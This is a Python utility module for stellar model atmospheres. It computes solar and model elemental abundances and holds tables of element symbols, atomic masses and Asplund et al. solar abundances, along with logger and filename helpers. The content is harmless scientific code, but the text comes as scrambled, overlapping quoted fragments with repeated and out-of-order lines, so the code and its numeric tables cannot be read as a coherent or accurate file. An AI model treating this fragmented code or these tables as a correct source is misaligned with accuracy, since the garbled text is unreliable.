"message=\"numpy.ufunc size changed\") cspeed = 2.99792458e5 # speed of light in km/s def",
"-5.80, -4.44, -5.59, -4.53, -6.63, -4.92, -6.54, -5.64, -7.01, -5.70, -8.89, -7.09, -8.11,",
"abu = solar_abund.copy() abu[2:] += feh # Now offset the elements with [X/Fe],",
"98., 101.07, 102.90550, 106.42, 107.8682, 112.411, 114.818, 118.710, 121.760, 127.60, 126.90447, 131.29, 132.90545,",
"1.88, -9.99, 1.75, 1.06, 1.65, 1.20, 1.71, 0.76, 2.04, 1.01, 2.18, 1.55, 2.24,",
"0.65, 0.26, 1.40, 1.38, 1.62, 0.80, 1.17, 0.77, 2.04, 0.65, -9.99, -9.99, -9.99,",
"the abundances adopted for Phoenix models by Huser et al. (2013) are adopted.",
"-5.64, -7.01, -5.70, -8.89, -7.09, -8.11, -6.40, -6.61, -4.54, -7.05, -5.82, -7.85, -7.48,",
"= e break return (fdir,base,ext) def model_abund(pars): \"\"\" Model atmosphere abundances. \"\"\" #",
"91.224, 92.90638, 95.94, 98., 101.07, 102.90550, 106.42, 107.8682, 112.411, 114.818, 118.710, 121.760, 127.60,",
"array of str element symbols mass: numpy array of floats atomic masses (elements",
"husser: #Asplund, Grevesse and Sauval (2005), basically the same as #<NAME>., <NAME>., <NAME>.",
"247., 251., 252. ] if not husser: #Asplund, Grevesse and Sauval (2005), basically",
"scipy import sparse from scipy.interpolate import interp1d from dlnpyutils import utils as dln",
"-7.05, -5.82, -7.85, -7.48, -9.00, -8.39, -9.74, -8.70, -9.50, -8.79, -9.52, -9.17, -9.83,",
"sol = [ 12.00, 10.93, 3.26, 1.38, 2.79, 8.43, 7.83, 8.69, 4.56, 7.93,",
"the input 99-element abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g, =",
"3.28, 2.60, 2.92, 2.21, 2.59, 1.42, 1.92, -9.99, 1.84, 1.12, 1.69, 0.94, 1.77,",
"into directory, base and fits extensions def splitfilename(filename): \"\"\" Split filename into directory,",
"-10.29, -11.13, -10.47, -11.10, -10.33, -11.24, -10.00, -11.03, -9.86, -10.49, -9.80, -10.96, -9.86,",
"= np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh = inpabund[25]",
"5.64, 5.39, 7.45, 4.92, 6.23, 4.21, 4.60, 2.88, 3.58, 2.29, 3.33, 2.56, 3.28,",
"0.71, 1.45, -9.99, 1.01, 0.52, 1.12, 0.28, 1.14, 0.51, 0.93, 0.00, 1.08, 0.06,",
"5.08, 6.31, 3.05, 4.90, 4.00, 5.64, 5.39, 7.45, 4.92, 6.23, 4.21, 4.60, 2.88,",
"\"\"\" symbol = [ 'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S'",
"1.65, 1.20, 1.71, 0.76, 2.04, 1.01, 2.18, 1.55, 2.24, 1.08, 2.18, 1.10, 1.58,",
"models by Huser et al. (2013) are adopted. Otherwise Asplund et al. (2005)",
"30.97376, 32.066, 35.4527, 39.948, 39.0983, 40.078, 44.95591, 47.867, 50.9415, 51.9961, 54.93805, 55.845, 58.93320,",
"Allows you to modify print() locally with a logger.\"\"\" # Input logger if",
"the solar elemental abundances From <NAME>'s synple package. Parameters ---------- husser: bool, optional",
"3.04, 3.65, 2.30, 3.34, 2.54, 3.25, 2.36, 2.87, 2.21, 2.58, 1.46, 1.88, -9.99,",
"0.10, 0.85, -0.12, 0.65, 0.26, 1.40, 1.38, 1.62, 0.80, 1.17, 0.77, 2.04, 0.65,",
"combination of meteoritic/photospheric abundances from Asplund et al. 2009 #chosen for the Husser",
"os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten: if base[-len(e):]==e: base = base[0:-len(e)]",
"array of floats solar abundances N/N(H) \"\"\" symbol = [ 'H' ,'He','Li','Be','B' ,'C'",
"for the Husser et al. (2013) Phoenix model atmospheres sol = [ 12.00,",
"# Divide by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot = np.float64(mlines[g[0]].split()[6])",
"1.12, 0.28, 1.14, 0.51, 0.93, 0.00, 1.08, 0.06, 0.88, -0.17, 1.11, 0.23, 1.45,",
"-9.99, -9.99, 0.06, -9.99, -0.52, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ]",
"atmospheres sol = [ 12.00, 10.93, 3.26, 1.38, 2.79, 8.43, 7.83, 8.69, 4.56,",
"9.01218, 10.811, 12.0107, 14.00674, 15.9994, 18.99840, 20.1797, 22.98977, 24.3050, 26.98154, 28.0855, 30.97376, 32.066,",
"-20.00, -20.00, -20.00, -20.00, -12.02, -20.00, -12.58, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00,",
"abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh # convert to linear abu[2:] = 10**abu[2:] #",
"-9.99, 0.06, -9.99, -0.52, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0]",
"(2005) are used -- consistent with the MARCS (Gustafsson et al. 2008) models",
"not husser: #Asplund, Grevesse and Sauval (2005), basically the same as #<NAME>., <NAME>.,",
"1.05, 1.38, 2.70, 8.39, 7.78, 8.66, 4.56, 7.84, 6.17, 7.53, 6.37, 7.51, 5.36,",
"Return the atmosnet data/ directory.\"\"\" fil = os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir =",
"\"\"\" Allows you to modify print() locally with a logger.\"\"\" # Input logger",
",'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn',",
"= 1. else: #a combination of meteoritic/photospheric abundances from Asplund et al. 2009",
"if inplogger is not None: return inplogger.info # Check if a global logger",
"abu[2:] /= nhtot # use model values for H and He abu[0:2] =",
"10.93, 1.05, 1.38, 2.70, 8.39, 7.78, 8.66, 4.56, 7.84, 6.17, 7.53, 6.37, 7.51,",
"atomic masses (elements Z=1-99) sol: numpy array of floats solar abundances N/N(H) \"\"\"",
"\"\"\" Split filename into directory, base and extensions.\"\"\" fdir = os.path.dirname(filename) base =",
"linear abu[2:] = 10**abu[2:] # Divide by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') !=",
"-7.48, -9.00, -8.39, -9.74, -8.70, -9.50, -8.79, -9.52, -9.17, -9.83, -9.46, -10.58, -10.16,",
"package. Parameters ---------- husser: bool, optional when set the abundances adopted for Phoenix",
"6.22, 4.19, 4.56, 3.04, 3.65, 2.30, 3.34, 2.54, 3.25, 2.36, 2.87, 2.21, 2.58,",
"inplogger is not None: return inplogger.info # Check if a global logger is",
"3.65, 2.30, 3.34, 2.54, 3.25, 2.36, 2.87, 2.21, 2.58, 1.46, 1.88, -9.99, 1.75,",
"195.078, 196.96655, 200.59, 204.3833, 207.2, 208.98038, 209., 210., 222., 223., 226., 227., 232.0381,",
"= [ 12.00, 10.93, 3.26, 1.38, 2.79, 8.43, 7.83, 8.69, 4.56, 7.93, 6.24,",
"base and fits extensions def splitfilename(filename): \"\"\" Split filename into directory, base and",
"3.34, 2.54, 3.25, 2.36, 2.87, 2.21, 2.58, 1.46, 1.88, -9.99, 1.75, 1.06, 1.65,",
"codedir = os.path.dirname(fil) datadir = codedir+'/data/' return datadir # Split a filename into",
"1.62, 0.80, 1.17, 0.77, 2.04, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06,",
"changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed = 2.99792458e5 # speed of light in",
"-10.94, -11.56, -11.12, -11.94, -11.20, -11.94, -11.19, -12.16, -11.19, -11.78, -10.64, -10.66, -10.42,",
"-11.94, -11.20, -11.94, -11.19, -12.16, -11.19, -11.78, -10.64, -10.66, -10.42, -11.12, -10.87, -11.14,",
"145, 150.36, 151.964, 157.25, 158.92534, 162.50, 164.93032, 167.26, 168.93421, 173.04, 174.967, 178.49, 180.9479,",
"-9.99, -0.54, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1.",
"-11.12, -11.94, -11.20, -11.94, -11.19, -12.16, -11.19, -11.78, -10.64, -10.66, -10.42, -11.12, -10.87,",
"to linear abu[2:] = 10**abu[2:] # Divide by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE')",
"et al. (2013) Phoenix model atmospheres sol = [ 12.00, 10.93, 3.26, 1.38,",
"getprintfunc(inplogger=None): \"\"\" Allows you to modify print() locally with a logger.\"\"\" # Input",
"as builtins # Python 2 except ImportError: import builtins # Python 3 #",
"et al. 2008) models and and Kurucz (Meszaros et al. 2012) Kurucz model",
"22.98977, 24.3050, 26.98154, 28.0855, 30.97376, 32.066, 35.4527, 39.948, 39.0983, 40.078, 44.95591, 47.867, 50.9415,",
"131.29, 132.90545, 137.327, 138.9055, 140.116, 140.90765, 144.24, 145, 150.36, 151.964, 157.25, 158.92534, 162.50,",
"= np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot # use",
"238.0289, 237., 244., 243., 247., 247., 251., 252. ] if not husser: #Asplund,",
"mass: numpy array of floats atomic masses (elements Z=1-99) sol: numpy array of",
"#feh = inpabund[25] #read model atmosphere atmostype, teff, logg, vmicro2, mabu, nd, atmos",
",'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ]",
"(np.array(labels[0])[g[ind1]]).astype(float) - feh # convert to linear abu[2:] = 10**abu[2:] # Divide by",
"and Kurucz (Meszaros et al. 2012) Kurucz model atmospheres. Returns ------- symbol: numpy",
"solar abundances N/N(H) \"\"\" symbol = [ 'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F'",
"-20.00, -20.00, -20.00, -20.00, -20.00, -12.02, -20.00, -12.58, -20.00, -20.00, -20.00, -20.00, -20.00,",
",'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [ 1.00794, 4.00260,",
"# convert to linear abu[2:] = 10**abu[2:] # Divide by N(H) g, =",
"-- consistent with the MARCS (Gustafsson et al. 2008) models and and Kurucz",
"7.93, 6.24, 7.60, 6.45, 7.51, 5.41, 7.12, 5.50, 6.40, 5.08, 6.34, 3.15, 4.95,",
"\"\"\" Return the atmosnet data/ directory.\"\"\" fil = os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir",
"defined elif hasattr(builtins,\"logger\"): return builtins.logger.info # Return the buildin print function else: return",
"return (fdir,base,ext) def model_abund(pars): \"\"\" Model atmosphere abundances. \"\"\" # Create the input",
"nd, atmos = synple.read_model(modelfile) mlines = dln.readlines(modelfile) # solar abundances # first two",
"al. 2008) models and and Kurucz (Meszaros et al. 2012) Kurucz model atmospheres.",
"-11.20, -11.94, -11.19, -12.16, -11.19, -11.78, -10.64, -10.66, -10.42, -11.12, -10.87, -11.14, -10.29,",
"1.11, 0.23, 1.45, 1.38, 1.64, 1.01, 1.13, 0.90, 2.00, 0.65, -9.99, -9.99, -9.99,",
"-9.99 ] sol[0] = 1. for i in range(len(sol)-1): sol[i+1] = 10.**(sol[i+1]-12.0) return",
"-9.80, -10.96, -9.86, -10.94, -10.46, -11.32, -10.62, -20.00, -11.08, -11.52, -10.97, -11.74, -10.94,",
"builtins # Python 2 except ImportError: import builtins # Python 3 # Ignore",
"39.0983, 40.078, 44.95591, 47.867, 50.9415, 51.9961, 54.93805, 55.845, 58.93320, 58.6934, 63.546, 65.39, 69.723,",
"5.43, 7.50, 4.99, 6.22, 4.19, 4.56, 3.04, 3.65, 2.30, 3.34, 2.54, 3.25, 2.36,",
"127.60, 126.90447, 131.29, 132.90545, 137.327, 138.9055, 140.116, 140.90765, 144.24, 145, 150.36, 151.964, 157.25,",
"210., 222., 223., 226., 227., 232.0381, 231.03588, 238.0289, 237., 244., 243., 247., 247.,",
"km/s def getprintfunc(inplogger=None): \"\"\" Allows you to modify print() locally with a logger.\"\"\"",
"-4.53, -6.63, -4.92, -6.54, -5.64, -7.01, -5.70, -8.89, -7.09, -8.11, -6.40, -6.61, -4.54,",
"83.80, 85.4678, 87.62, 88.90585, 91.224, 92.90638, 95.94, 98., 101.07, 102.90550, 106.42, 107.8682, 112.411,",
"-0.17, 1.11, 0.23, 1.45, 1.38, 1.64, 1.01, 1.13, 0.90, 2.00, 0.65, -9.99, -9.99,",
"-0.12, 0.65, 0.26, 1.40, 1.38, 1.62, 0.80, 1.17, 0.77, 2.04, 0.65, -9.99, -9.99,",
"vmicro2, mabu, nd, atmos = synple.read_model(modelfile) mlines = dln.readlines(modelfile) # solar abundances #",
"39.948, 39.0983, 40.078, 44.95591, 47.867, 50.9415, 51.9961, 54.93805, 55.845, 58.93320, 58.6934, 63.546, 65.39,",
"4.00, 5.64, 5.39, 7.45, 4.92, 6.23, 4.21, 4.60, 2.88, 3.58, 2.29, 3.33, 2.56,",
"1.38, 1.64, 1.01, 1.13, 0.90, 2.00, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99,",
"nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot # use model values for H and",
"= np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot # use model values for H and He",
"fdir = os.path.dirname(filename) base = os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten:",
"'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es'",
"= os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten: if base[-len(e):]==e: base =",
"2.17, 1.13, 1.58, 0.71, 1.45, -9.99, 1.01, 0.52, 1.12, 0.28, 1.14, 0.51, 0.93,",
"-7.48, -4.11, -5.80, -4.44, -5.59, -4.53, -6.63, -4.92, -6.54, -5.64, -7.01, -5.70, -8.89,",
"-5.70, -8.89, -7.09, -8.11, -6.40, -6.61, -4.54, -7.05, -5.82, -7.85, -7.48, -9.00, -8.39,",
"warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed = 2.99792458e5 # speed",
"else: return builtins.print # The atmosnet data directory def datadir(): \"\"\" Return the",
"atmospheres. Returns ------- symbol: numpy array of str element symbols mass: numpy array",
"1.42, -9.99, 0.96, 0.52, 1.07, 0.30, 1.10, 0.48, 0.92, 0.10, 0.92, 0.10, 0.85,",
"import builtins # Python 3 # Ignore these warnings, it's a bug warnings.filterwarnings(\"ignore\",",
"'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [ 1.00794, 4.00260, 6.941, 9.01218,",
"the MARCS (Gustafsson et al. 2008) models and and Kurucz (Meszaros et al.",
"69.723, 72.61, 74.92160, 78.96, 79.904, 83.80, 85.4678, 87.62, 88.90585, 91.224, 92.90638, 95.94, 98.,",
"12.00, 10.93, 3.26, 1.38, 2.79, 8.43, 7.83, 8.69, 4.56, 7.93, 6.24, 7.60, 6.45,",
"numpy as np import warnings from scipy import sparse from scipy.interpolate import interp1d",
"-10.96, -9.86, -10.94, -10.46, -11.32, -10.62, -20.00, -11.08, -11.52, -10.97, -11.74, -10.94, -11.56,",
"is defined elif hasattr(builtins,\"logger\"): return builtins.logger.info # Return the buildin print function else:",
"5.08, 6.34, 3.15, 4.95, 3.93, 5.64, 5.43, 7.50, 4.99, 6.22, 4.19, 4.56, 3.04,",
"floats atomic masses (elements Z=1-99) sol: numpy array of floats solar abundances N/N(H)",
"-1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot # use model values for H",
"10**abu[2:] # Divide by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot =",
"-10.87, -11.14, -10.29, -11.39, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -12.02, -20.00, -12.58,",
"-20.00, -20.00, -20.00, -20.00]) # scale global metallicity abu = solar_abund.copy() abu[2:] +=",
"-11.10, -10.33, -11.24, -10.00, -11.03, -9.86, -10.49, -9.80, -10.96, -9.86, -10.94, -10.46, -11.32,",
"-10.00, -11.03, -9.86, -10.49, -9.80, -10.96, -9.86, -10.94, -10.46, -11.32, -10.62, -20.00, -11.08,",
"'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [ 1.00794,",
"= ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten: if base[-len(e):]==e: base = base[0:-len(e)] ext =",
"H and He abu[0:2] = mabu[0:2] return abu def elements(husser=False): \"\"\" Reads the",
"builtins # Python 3 # Ignore these warnings, it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype",
"if a global logger is defined elif hasattr(builtins,\"logger\"): return builtins.logger.info # Return the",
"1.71, 0.76, 2.04, 1.01, 2.18, 1.55, 2.24, 1.08, 2.18, 1.10, 1.58, 0.72, 1.42,",
"-1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh # convert to linear",
"51.9961, 54.93805, 55.845, 58.93320, 58.6934, 63.546, 65.39, 69.723, 72.61, 74.92160, 78.96, 79.904, 83.80,",
"atmosnet data/ directory.\"\"\" fil = os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir = codedir+'/data/' return",
"e in exten: if base[-len(e):]==e: base = base[0:-len(e)] ext = e break return",
"55.845, 58.93320, 58.6934, 63.546, 65.39, 69.723, 72.61, 74.92160, 78.96, 79.904, 83.80, 85.4678, 87.62,",
"print() locally with a logger.\"\"\" # Input logger if inplogger is not None:",
"by Huser et al. (2013) are adopted. Otherwise Asplund et al. (2005) are",
"79.904, 83.80, 85.4678, 87.62, 88.90585, 91.224, 92.90638, 95.94, 98., 101.07, 102.90550, 106.42, 107.8682,",
"-9.99, 1.84, 1.12, 1.69, 0.94, 1.77, 1.60, 2.00, 1.00, 2.19, 1.51, 2.27, 1.07,",
"# Check if a global logger is defined elif hasattr(builtins,\"logger\"): return builtins.logger.info #",
"7.83, 8.69, 4.56, 7.93, 6.24, 7.60, 6.45, 7.51, 5.41, 7.12, 5.50, 6.40, 5.08,",
"base = os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten: if base[-len(e):]==e: base",
"-8.89, -7.09, -8.11, -6.40, -6.61, -4.54, -7.05, -5.82, -7.85, -7.48, -9.00, -8.39, -9.74,",
"changed\") cspeed = 2.99792458e5 # speed of light in km/s def getprintfunc(inplogger=None): \"\"\"",
"base[-len(e):]==e: base = base[0:-len(e)] ext = e break return (fdir,base,ext) def model_abund(pars): \"\"\"",
"with the MARCS (Gustafsson et al. 2008) models and and Kurucz (Meszaros et",
"7.78, 8.66, 4.56, 7.84, 6.17, 7.53, 6.37, 7.51, 5.36, 7.14, 5.50, 6.18, 5.08,",
"7.14, 5.50, 6.18, 5.08, 6.31, 3.05, 4.90, 4.00, 5.64, 5.39, 7.45, 4.92, 6.23,",
"adopted for Phoenix models by Huser et al. (2013) are adopted. Otherwise Asplund",
"-8.39, -9.74, -8.70, -9.50, -8.79, -9.52, -9.17, -9.83, -9.46, -10.58, -10.16, -20.00, -10.29,",
"str element symbols mass: numpy array of floats atomic masses (elements Z=1-99) sol:",
"-10.58, -10.16, -20.00, -10.29, -11.13, -10.47, -11.10, -10.33, -11.24, -10.00, -11.03, -9.86, -10.49,",
"- feh # convert to linear abu[2:] = 10**abu[2:] # Divide by N(H)",
"0.93, 0.00, 1.08, 0.06, 0.88, -0.17, 1.11, 0.23, 1.45, 1.38, 1.64, 1.01, 1.13,",
"\"\"\" Model atmosphere abundances. \"\"\" # Create the input 99-element abundance array pertab",
"\"\"\" Reads the solar elemental abundances From <NAME>'s synple package. Parameters ---------- husser:",
"yyyymmdd import os import numpy as np import warnings from scipy import sparse",
"164.93032, 167.26, 168.93421, 173.04, 174.967, 178.49, 180.9479, 183.84, 186.207, 190.23, 192.217, 195.078, 196.96655,",
"-9.99 ] sol[0] = 1. else: #a combination of meteoritic/photospheric abundances from Asplund",
"#a combination of meteoritic/photospheric abundances from Asplund et al. 2009 #chosen for the",
"feh # convert to linear abu[2:] = 10**abu[2:] # Divide by N(H) g,",
"elemental abundances From <NAME>'s synple package. Parameters ---------- husser: bool, optional when set",
"Sauval (2005), basically the same as #<NAME>., <NAME>., <NAME>. 2007, Space Science Review",
"7.51, 5.41, 7.12, 5.50, 6.40, 5.08, 6.34, 3.15, 4.95, 3.93, 5.64, 5.43, 7.50,",
"sparse from scipy.interpolate import interp1d from dlnpyutils import utils as dln import matplotlib.pyplot",
"elements(husser=False): \"\"\" Reads the solar elemental abundances From <NAME>'s synple package. Parameters ----------",
"None: return inplogger.info # Check if a global logger is defined elif hasattr(builtins,\"logger\"):",
"2.18, 1.55, 2.24, 1.08, 2.18, 1.10, 1.58, 0.72, 1.42, -9.99, 0.96, 0.52, 1.07,",
"'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [ 1.00794, 4.00260, 6.941, 9.01218, 10.811, 12.0107, 14.00674,",
"] sol[0] = 1. for i in range(len(sol)-1): sol[i+1] = 10.**(sol[i+1]-12.0) return (symbol,mass,sol)",
"4.92, 6.23, 4.21, 4.60, 2.88, 3.58, 2.29, 3.33, 2.56, 3.28, 2.60, 2.92, 2.21,",
"3.05, 4.90, 4.00, 5.64, 5.39, 7.45, 4.92, 6.23, 4.21, 4.60, 2.88, 3.58, 2.29,",
"6.31, 3.05, 4.90, 4.00, 5.64, 5.39, 7.45, 4.92, 6.23, 4.21, 4.60, 2.88, 3.58,",
"else: #a combination of meteoritic/photospheric abundances from Asplund et al. 2009 #chosen for",
"2.56, 3.28, 2.60, 2.92, 2.21, 2.59, 1.42, 1.92, -9.99, 1.84, 1.12, 1.69, 0.94,",
"-11.08, -11.52, -10.97, -11.74, -10.94, -11.56, -11.12, -11.94, -11.20, -11.94, -11.19, -12.16, -11.19,",
"1.14, 0.51, 0.93, 0.00, 1.08, 0.06, 0.88, -0.17, 1.11, 0.23, 1.45, 1.38, 1.64,",
"#!/usr/bin/env python \"\"\"UTILS.PY - Utility functions \"\"\" from __future__ import print_function __authors__ =",
"by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /=",
"2.18, 1.10, 1.58, 0.72, 1.42, -9.99, 0.96, 0.52, 1.07, 0.30, 1.10, 0.48, 0.92,",
"'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [",
"58.93320, 58.6934, 63.546, 65.39, 69.723, 72.61, 74.92160, 78.96, 79.904, 83.80, 85.4678, 87.62, 88.90585,",
"abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1)",
"to modify print() locally with a logger.\"\"\" # Input logger if inplogger is",
"-9.86, -10.49, -9.80, -10.96, -9.86, -10.94, -10.46, -11.32, -10.62, -20.00, -11.08, -11.52, -10.97,",
",'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y'",
"3.26, 1.38, 2.79, 8.43, 7.83, 8.69, 4.56, 7.93, 6.24, 7.60, 6.45, 7.51, 5.41,",
"in exten: if base[-len(e):]==e: base = base[0:-len(e)] ext = e break return (fdir,base,ext)",
"-10.99, -10.66, -9.34, -3.61, -4.21, -3.35, -7.48, -4.11, -5.80, -4.44, -5.59, -4.53, -6.63,",
"0.52, 1.07, 0.30, 1.10, 0.48, 0.92, 0.10, 0.92, 0.10, 0.85, -0.12, 0.65, 0.26,",
"1.64, 1.01, 1.13, 0.90, 2.00, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06,",
"0.80, 1.17, 0.77, 2.04, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99,",
"when set the abundances adopted for Phoenix models by Huser et al. (2013)",
"N/N(H) \"\"\" symbol = [ 'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P'",
"model atmospheres. Returns ------- symbol: numpy array of str element symbols mass: numpy",
"1. else: #a combination of meteoritic/photospheric abundances from Asplund et al. 2009 #chosen",
"222., 223., 226., 227., 232.0381, 231.03588, 238.0289, 237., 244., 243., 247., 247., 251.,",
"and and Kurucz (Meszaros et al. 2012) Kurucz model atmospheres. Returns ------- symbol:",
"abu[0:2] = mabu[0:2] return abu def elements(husser=False): \"\"\" Reads the solar elemental abundances",
"6.941, 9.01218, 10.811, 12.0107, 14.00674, 15.9994, 18.99840, 20.1797, 22.98977, 24.3050, 26.98154, 28.0855, 30.97376,",
"dln.readlines(modelfile) # solar abundances # first two are Teff and logg # last",
"252. ] if not husser: #Asplund, Grevesse and Sauval (2005), basically the same",
"you to modify print() locally with a logger.\"\"\" # Input logger if inplogger",
"-10.33, -11.24, -10.00, -11.03, -9.86, -10.49, -9.80, -10.96, -9.86, -10.94, -10.46, -11.32, -10.62,",
"data directory def datadir(): \"\"\" Return the atmosnet data/ directory.\"\"\" fil = os.path.abspath(__file__)",
"of str element symbols mass: numpy array of floats atomic masses (elements Z=1-99)",
"Model atmosphere abundances. \"\"\" # Create the input 99-element abundance array pertab =",
"__future__ import print_function __authors__ = '<NAME> <<EMAIL>>' __version__ = '20210605' # yyyymmdd import",
"-9.99, 0.06, -9.99, -0.54, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0]",
"102.90550, 106.42, 107.8682, 112.411, 114.818, 118.710, 121.760, 127.60, 126.90447, 131.29, 132.90545, 137.327, 138.9055,",
"3.93, 5.64, 5.43, 7.50, 4.99, 6.22, 4.19, 4.56, 3.04, 3.65, 2.30, 3.34, 2.54,",
"0.92, 0.10, 0.92, 0.10, 0.85, -0.12, 0.65, 0.26, 1.40, 1.38, 1.62, 0.80, 1.17,",
"-5.59, -4.53, -6.63, -4.92, -6.54, -5.64, -7.01, -5.70, -8.89, -7.09, -8.11, -6.40, -6.61,",
"15.9994, 18.99840, 20.1797, 22.98977, 24.3050, 26.98154, 28.0855, 30.97376, 32.066, 35.4527, 39.948, 39.0983, 40.078,",
"elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2]",
"mass = [ 1.00794, 4.00260, 6.941, 9.01218, 10.811, 12.0107, 14.00674, 15.9994, 18.99840, 20.1797,",
